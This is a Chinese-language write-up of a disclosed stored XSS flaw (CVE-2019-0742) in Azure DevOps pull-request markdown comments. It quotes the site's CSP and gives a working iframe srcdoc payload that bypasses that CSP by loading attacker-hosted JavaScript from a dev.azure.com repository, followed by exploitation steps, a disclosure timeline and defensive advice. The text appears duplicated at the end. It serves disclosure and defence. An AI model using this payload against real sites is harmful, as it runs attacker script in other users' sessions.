Azure DevOps中的XSS
字数 971 2025-08-27 12:33:49

Azure DevOps中的XSS漏洞分析与利用

漏洞概述

在Azure DevOps的markdown编辑器中发现了一个跨站脚本(XSS)漏洞,该漏洞允许攻击者在pull request注释中注入恶意代码。漏洞被微软分配为CVE-2019-0742。

漏洞发现环境

  • 目标系统: https://dev.azure.com (Microsoft开发的git web服务器)
  • 受影响功能: pull request中的markdown编辑器

漏洞细节

初始发现

  1. 在创建pull request时,可以使用markdown添加注释
  2. markdown渲染未能正确转义某些特殊字符
  3. 特定格式下HTML代码会被执行:当HTML代码放在两个$和一个%中间时,标记会被渲染

基本payload格式:

$%$

CSP限制分析

尝试使用onerror事件触发XSS时被Content Security Policy(CSP)拦截,错误信息显示:

Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com https://cdn.vsassets.io https://vsassetscdn.azure.cn https://ms.gallery.vsassets.io https://ms.gallerycdn.vsassets.io https://ms.gallerycdn.azure.cn *.ensighten.com *.microsoft.com *.google-analytics.com 'nonce-JNv3ZUluxXSBwNijHMtlKg=='". Note that 'unsafe-inline' is ignored if either a hash or nonce value is present in the source list.

完整CSP策略:

content-security-policy: 
  default-src 'none'; 
  font-src *.visualstudio.com *.dev.azure.com dev.azure.com *.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn *.microsoft.com *.sharepointonline.com; 
  style-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com cdn.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn; 
  connect-src *.visualstudio.com wss://*.visualstudio.com *.dev.azure.com dev.azure.com wss://*.dev.azure.com wss://dev.azure.com *.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn *.blob.core.windows.net; 
  img-src http: https: blob: data:; 
  script-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com https://cdn.vsassets.io https://vsassetscdn.azure.cn https://ms.gallery.vsassets.io https://ms.gallerycdn.vsassets.io https://ms.gallerycdn.azure.cn *.ensighten.com *.microsoft.com *.google-analytics.com 'nonce-BByveBAMp0eRn6Ll29C7Lw=='; 
  child-src * blob: tfs:; 
  frame-src * blob: tfs:; 
  media-src http: https:;

关键点:

  • frame-src * blob: tfs: 允许加载任意iframe
  • script-src 允许从dev.azure.com加载脚本

绕过CSP的最终方案

利用iframe的srcdoc属性加载恶意脚本,从dev.azure.com自身托管JavaScript文件:

$
<iframe srcdoc="<script src='https://dev.azure.com/md5_salt/deadbeef-1337-1337-1337-1337/_apis/git/repositories/deadbeef-1337-1337-1337-1337/Items?path=%2F1.js&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5BversionType%5D=0&versionDescriptor%5Bversion%5D=master&download=true&resolveLfs=true&%24format=octetStream&api-version=5.0-preview.1'></script>"></iframe>
$

漏洞利用步骤

  1. 准备一个包含恶意JavaScript的仓库文件(1.js)
  2. 在pull request的markdown注释中使用上述iframe payload
  3. 当其他用户查看该pull request时,恶意代码会被执行

时间线

  • 2019年1月19日: 向Microsoft报告此XSS
  • 2019年1月25日: Microsoft确认漏洞
  • 2019年2月6日: 分配CVE-2019-0742
  • 2019年2月7日: Microsoft同意修复后公开细节
  • 2019年2月26日: 公开披露

防御建议

  1. 对所有用户输入进行适当的转义和过滤
  2. 加强CSP策略,限制iframe的使用
  3. 对markdown渲染进行更严格的安全检查
  4. 定期进行安全审计和渗透测试

总结

该漏洞展示了即使存在CSP保护,通过仔细分析策略中的例外情况,攻击者仍可能找到绕过方法。开发人员需要全面考虑各种攻击向量,而不仅仅是依赖单一的安全机制。

Azure DevOps中的XSS漏洞分析与利用 漏洞概述 在Azure DevOps的markdown编辑器中发现了一个跨站脚本(XSS)漏洞,该漏洞允许攻击者在pull request注释中注入恶意代码。漏洞被微软分配为CVE-2019-0742。 漏洞发现环境 目标系统: https://dev.azure.com (Microsoft开发的git web服务器) 受影响功能: pull request中的markdown编辑器 漏洞细节 初始发现 在创建pull request时,可以使用markdown添加注释 markdown渲染未能正确转义某些特殊字符 特定格式下HTML代码会被执行:当HTML代码放在两个 $ 和一个 % 中间时,标记会被渲染 基本payload格式: CSP限制分析 尝试使用 onerror 事件触发XSS时被Content Security Policy(CSP)拦截,错误信息显示: 完整CSP策略: 关键点: frame-src * blob: tfs: 允许加载任意iframe script-src 允许从dev.azure.com加载脚本 绕过CSP的最终方案 利用iframe的srcdoc属性加载恶意脚本,从dev.azure.com自身托管JavaScript文件: 漏洞利用步骤 准备一个包含恶意JavaScript的仓库文件(1.js) 在pull request的markdown注释中使用上述iframe payload 当其他用户查看该pull request时,恶意代码会被执行 时间线 2019年1月19日: 向Microsoft报告此XSS 2019年1月25日: Microsoft确认漏洞 2019年2月6日: 分配CVE-2019-0742 2019年2月7日: Microsoft同意修复后公开细节 2019年2月26日: 公开披露 防御建议 对所有用户输入进行适当的转义和过滤 加强CSP策略,限制iframe的使用 对markdown渲染进行更严格的安全检查 定期进行安全审计和渗透测试 总结 该漏洞展示了即使存在CSP保护,通过仔细分析策略中的例外情况,攻击者仍可能找到绕过方法。开发人员需要全面考虑各种攻击向量,而不仅仅是依赖单一的安全机制。